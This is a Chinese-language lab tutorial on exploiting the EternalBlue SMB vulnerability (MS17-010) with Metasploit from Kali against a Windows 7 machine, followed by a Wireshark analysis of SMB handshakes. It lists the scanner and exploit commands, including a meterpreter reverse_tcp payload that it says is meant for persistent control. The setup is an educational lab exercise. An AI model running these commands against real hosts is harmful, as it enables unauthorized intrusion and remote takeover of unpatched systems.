SMB协议——永恒之蓝漏洞利用
SMB — 永恒之蓝漏洞利用
1、实验环境:
攻击机:kali IP:192.168.247.158
被攻击机:Win 7 IP:192.168.247.150
2、实验步骤:
被攻击机Win 7:
在被攻击机Win 7中开启SMB1,HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/LanmanServer/Parameters,新建一个DWORD,并将其命名为SMB1,修改它的值为1
攻击机:
2.1、在kali上切换目录cd /usr/share/metasploit-framework/modules/auxiliary/scanner/smb,可以看到ms17_010的漏洞
2.2、连接postgresql数据库,不连接的话扫描的信息无法入库。
- 启动数据库:service postgresql start
- 初始化数据库:msfdb init
- 启动msfconsole:msfconsole
2.3、使用db_status确认数据库是否正确连接。
2.4、运行smb模块探测主机445端口开放情况。
use auxiliary/scanner/smb/smb_ms17_010
2.5、使用smb_ms17_010模块进行网段扫描
- set rhosts 192.168.247.0/24 #设置扫描的网段
- set threads 16 #设置开启的线程的数量
- run #扫描
2.6、扫描完成后,扫描的信息会自动存入数据库,可通过hosts命令查看
2.7、使用攻击模块
- use exploits/windows/smb/ms17_010_eternalblue # exploits渗透攻击模块
- set payload windows/x64/meterpreter/reverse_tcp # payload攻击载荷模块,为了以后可以持久化控制目标
- set rhost 192.168.247.150 #设置被攻击机的IP
- set lhost 192.168.247.158 #设置本机的IP
2.8、在开始攻击之前,打开Wireshark进行抓包。攻击结果如下:
2.9、sysinfo #显示被攻击者计算机的信息
3、抓包分析
1、首先客户端发送一个SMB Negotiate Protocol Request请求数据报,并列出它所支持的所有SMB协议版本。(正常共享的话,客户端会列出好几个它支持的版本,如果是攻击的话,会故意拉低版本,版本越低,安全性越差)
2、服务器收到请求信息后响应请求,并列出希望使用的协议版本。如果没有可使用的协议版本则返回0XFFFFH,结束通信。
3、协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送Session Setup AndX请求数据报实现的。客户端发送一对用户名和密码或一个简单密码到服务器。
4、服务器通过发送一个Session Setup AndX应答数据报来允许或拒绝本次连接。
5、当客户端和服务器完成了磋商和认证之后,它会发送一个Tree Connect AndX或TconX SMB数据报并列出它想访问网络资源的名称
6、之后服务器会发送一个Tree Connect AndX应答数据报以表示此次连接是否被接受或拒绝。
7、连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。